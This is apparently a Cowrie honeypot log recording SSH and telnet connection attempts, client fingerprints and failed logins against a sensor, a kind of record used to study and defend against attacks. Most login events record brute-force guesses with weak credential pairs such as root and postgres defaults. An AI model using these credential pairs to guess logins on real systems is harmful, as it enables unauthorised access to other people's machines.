{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":45632,"dst_ip":"159.203.135.109","dst_port":22,"session":"0666a09b59fa","protocol":"ssh","message":"New connection: 87.106.29.151:45632 (159.203.135.109:22) [session: 0666a09b59fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:56:15.982236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:56:15.987380Z","src_ip":"87.106.29.151","session":"0666a09b59fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:56:16.081999Z","src_ip":"87.106.29.151","session":"0666a09b59fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Titan123","message":"login attempt [root/Titan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:56:16.493732Z","src_ip":"87.106.29.151","session":"0666a09b59fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:56:17.598210Z","src_ip":"87.106.29.151","session":"0666a09b59fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:56:41.296352Z","src_ip":"47.239.15.75","session":"57246eb3ff52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":37690,"dst_ip":"159.203.135.109","dst_port":22,"session":"19aca0e235d9","protocol":"ssh","message":"New connection: 198.98.55.71:37690 (159.203.135.109:22) [session: 19aca0e235d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:56:51.721215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:56:51.726092Z","src_ip":"198.98.55.71","session":"19aca0e235d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:56:51.731567Z","src_ip":"198.98.55.71","session":"19aca0e235d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc88888","message":"login attempt [root/Abc88888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:56:51.782500Z","src_ip":"198.98.55.71","session":"19aca0e235d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:56:52.791144Z","src_ip":"198.98.55.71","session":"19aca0e235d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":38830,"dst_ip":"159.203.135.109","dst_port":22,"session":"37348cace44c","protocol":"ssh","message":"New connection: 87.106.29.151:38830 (159.203.135.109:22) [session: 37348cace44c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:57:08.081589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:57:08.086973Z","src_ip":"87.106.29.151","session":"37348cace44c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:57:08.182407Z","src_ip":"87.106.29.151","session":"37348cace44c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"p0stgres","message":"login attempt [postgres/p0stgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:57:08.584439Z","src_ip":"87.106.29.151","session":"37348cace44c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:57:09.682845Z","src_ip":"87.106.29.151","session":"37348cace44c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":28591,"dst_ip":"159.203.135.109","dst_port":22,"session":"0526d343bb48","protocol":"ssh","message":"New connection: 213.209.159.56:28591 (159.203.135.109:22) [session: 0526d343bb48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:57:20.712471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:57:20.720937Z","src_ip":"213.209.159.56","session":"0526d343bb48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:57:20.803509Z","src_ip":"213.209.159.56","session":"0526d343bb48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eleazar","password":"eleazar","message":"login attempt [eleazar/eleazar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:57:21.203946Z","src_ip":"213.209.159.56","session":"0526d343bb48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eleazar","password":"eleazar1","message":"login attempt [eleazar/eleazar1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:57:22.290080Z","src_ip":"213.209.159.56","session":"0526d343bb48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eleazar","password":"eleazar123","message":"login attempt [eleazar/eleazar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:57:23.375443Z","src_ip":"213.209.159.56","session":"0526d343bb48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eleazar","password":"eleazar1234","message":"login attempt [eleazar/eleazar1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:57:24.461127Z","src_ip":"213.209.159.56","session":"0526d343bb48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eleazar","password":"eleazar12345","message":"login attempt [eleazar/eleazar12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:57:25.546429Z","src_ip":"213.209.159.56","session":"0526d343bb48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:57:26.635468Z","src_ip":"213.209.159.56","session":"0526d343bb48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":33800,"dst_ip":"159.203.135.109","dst_port":22,"session":"0efa4279c6a4","protocol":"ssh","message":"New connection: 47.239.15.75:33800 (159.203.135.109:22) [session: 0efa4279c6a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:57:28.077506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:57:28.137376Z","src_ip":"47.239.15.75","session":"0efa4279c6a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39638,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea0292773886","protocol":"telnet","message":"New connection: 45.58.127.90:39638 (10.17.0.5:23) [session: ea0292773886]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:57:34.677664Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.204.138.187","src_port":58006,"dst_ip":"10.17.0.5","dst_port":23,"session":"6dbd0f8d4b9b","protocol":"telnet","message":"New connection: 92.204.138.187:58006 (10.17.0.5:23) [session: 6dbd0f8d4b9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:57:35.274801Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":60232,"dst_ip":"159.203.135.109","dst_port":22,"session":"a897eaffd25f","protocol":"ssh","message":"New connection: 202.125.94.71:60232 (159.203.135.109:22) [session: a897eaffd25f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:57:37.530465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:57:37.535320Z","src_ip":"202.125.94.71","session":"a897eaffd25f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:57:37.791718Z","src_ip":"202.125.94.71","session":"a897eaffd25f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csgoserver","password":"12345678","message":"login attempt [csgoserver/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:57:39.230480Z","src_ip":"202.125.94.71","session":"a897eaffd25f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:57:40.489700Z","src_ip":"202.125.94.71","session":"a897eaffd25f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":44768,"dst_ip":"159.203.135.109","dst_port":22,"session":"42615df62f1b","protocol":"ssh","message":"New connection: 198.98.55.71:44768 (159.203.135.109:22) [session: 42615df62f1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:57:43.223527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:57:43.228429Z","src_ip":"198.98.55.71","session":"42615df62f1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:57:43.233689Z","src_ip":"198.98.55.71","session":"42615df62f1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"123123","message":"login attempt [user2/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:57:43.286454Z","src_ip":"198.98.55.71","session":"42615df62f1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:57:44.294768Z","src_ip":"198.98.55.71","session":"42615df62f1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.192.252.156","src_port":56456,"dst_ip":"10.17.0.5","dst_port":23,"session":"37d7e2fecfea","protocol":"telnet","message":"New connection: 106.192.252.156:56456 (10.17.0.5:23) [session: 37d7e2fecfea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:57:47.345043Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":49510,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5f5d5101e81","protocol":"ssh","message":"New connection: 87.106.29.151:49510 (159.203.135.109:22) [session: d5f5d5101e81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:57:58.613652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:57:58.619337Z","src_ip":"87.106.29.151","session":"d5f5d5101e81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:57:58.712682Z","src_ip":"87.106.29.151","session":"d5f5d5101e81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t6y","message":"login attempt [root/1q2w3e4r5t6y] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:57:59.118695Z","src_ip":"87.106.29.151","session":"d5f5d5101e81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:58:00.215661Z","src_ip":"87.106.29.151","session":"d5f5d5101e81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.037099123001099,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:58:00.382024Z","src_ip":"106.192.252.156","session":"37d7e2fecfea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.857208251953125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:58:06.131929Z","src_ip":"92.204.138.187","session":"6dbd0f8d4b9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":57466,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b721d7aa7e0","protocol":"telnet","message":"New connection: 45.58.127.90:57466 (10.17.0.5:23) [session: 7b721d7aa7e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:58:13.016954Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.204.138.187","src_port":41444,"dst_ip":"10.17.0.5","dst_port":23,"session":"55b0e9579b37","protocol":"telnet","message":"New connection: 92.204.138.187:41444 (10.17.0.5:23) [session: 55b0e9579b37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:58:13.624086Z"}
